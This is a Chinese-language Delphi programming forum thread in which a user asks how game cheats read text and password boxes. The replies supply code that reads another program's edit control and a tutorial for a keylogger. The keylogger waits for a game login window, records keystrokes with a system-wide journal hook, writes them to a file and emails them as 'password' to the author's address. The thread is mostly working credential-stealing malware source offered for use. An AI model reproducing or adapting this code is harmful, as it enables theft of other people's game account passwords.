我看见那些外挂可以自动取出如输入框,聊天记录框,甚至游戏密码框的内容...
我想知道那些程序是怎么做到的啊?
最好有程序例子..3X!
我想知道那些程序是怎么做到的啊?
最好有程序例子..3X!
解决方案 »
- 几种图片的遍历算法,可是不成功。请高手赐教
- 请问,有人有用DELPHI 写的生成BT种子的源代码么
- 怎样用ADOtable.InsertRecord把记录插入到一个无主键/引导的表中间位置
- 你们遇到过数据查询不出来的情况吗
- 通过字符串变量调用控件的属性可以吗?
- 请各位大侠给出一点提示!
- 用delphi在win内核下编程???
- 请教各位大虾,在dbgrid中进行数据添加,修改操作时,能否等所有数据都输入完成后在进行保存,在此过程中,如编辑行失去焦点,能否不进行保存
- 难!!!!!!!
- 如何设置CLIENTSOCKET的LOCALPORT,请教各位大手。
- 离开公司了,老板叫我欠保密协议,我要不要欠?是否合法???公司的注册资金不足50W
- 求教listbox 的删除方法
FINDWINDOWEX 找到输入框控件句柄
SENDMESSAGE WM_GETTEXT 大概是这样的!也可以用鼠标钩子实现!
在2000下需要用DLL实现!
procedure TForm1.Button1Click(Sender: TObject);
var
dd,hh: hwnd;
i: integer;
mem: pchar;
begin
dd := FindWindow(nil,'Legend Of Mir 3');
if dd>0 then
begin
hh := FindwindowEx(dd,0,pchar('Edit'),nil);
if hh>0 then
begin
i := SendMessage(hh,WM_GETTEXTLENGTH,0,0);
getmem(mem,i+1);
SendMessage(hh,WM_GETTEXT,i+1,LongInt(mem));
showmessage(strpas(mem));
end
else
showmessage('no such window');
end;
getmem(mem,0);
end;为什么还不不能取得输入框的字符了?
宠辱不惊,看庭前花开花落,去留无意;毁誉由人,望天上云卷云舒,聚散任风。
————————————————————————————————————
宠辱不惊,看庭前花开花落,去留无意;毁誉由人,望天上云卷云舒,聚散任风。
————————————————————————————————————
在做程序之前我们必需要了解一下程序的思路:
1、我们首先知道你想记录游戏的登录窗口名称。
2、判断登录窗口是否出现。
3、如果登录窗口出现,就记录键盘。
4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。
第一点我就不具体分析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名称是什么。从第二点开始,我们就开始这类外挂的程序实现之旅:
那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函数就可以很轻松的实现了:
HWND FindWindow( LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);
实际程序实现中,我们要找到'xx'窗口,就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口已经出现,那么我们就可以对键盘信息进行记录了。
先首我们用SetWindowsHookEx设置监视日志,而该函数的用法如下:
HHOOK SetWindowsHookEx( int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle of application instance
DWORD dwThreadId // identity of thread to install hook for
);
在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了,具体实现方法为:
hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
而HOOKPROC里的函数就要复杂一点点:
function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
if findedtitle then //如果发现窗口后
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then //消息等于键盘按下
hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); //通过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。
if length(hookkey) > 0 then //如果获得按键名称
begin
Write(hookkeyFile,hookkey); //把按键名称写入文本文件
hookkey := '';
end;
end;
end;
以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,UnHookWindowsHookEx(hHook),而hHOOK,就是创建setwindowshookex后所返回的句柄。
我们已经得到了键盘的记录,那么现在最后只要把记录的这些信息发送回来,我们就大功造成了。其他发送这块并不是很难,只要把记录从文本文件里边读出来,用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下:
assignfile(ReadFile,'hook.txt'); //打开hook.txt这个文本文件
reset(ReadFile); //设为读取方式
try
While not Eof(ReadFile) do //当没有读到文件尾
begin
Readln(ReadFile,s,j); //读取文件行
body:=body+s;
end;
finally
closefile(ReadFile); //关闭文件
end;
nmsmtp1.EncodeType:=uuMime; //设置编码
nmsmtp1.PostMessage.Attachments.Text:=''; //设置附件
nmsmtp1.PostMessage.FromAddress:='[email protected]'; //设置源邮件地址
nmsmtp1.PostMessage.ToAddress.Text:='[email protected]'; /设置目标邮件地址
nmsmtp1.PostMessage.Body.Text:='密码'+' '+body; //设置邮件内容
nmsmtp1.PostMessage.Subject:='password'; //设置邮件标题
nmsmtp1.SendMail; //发送邮件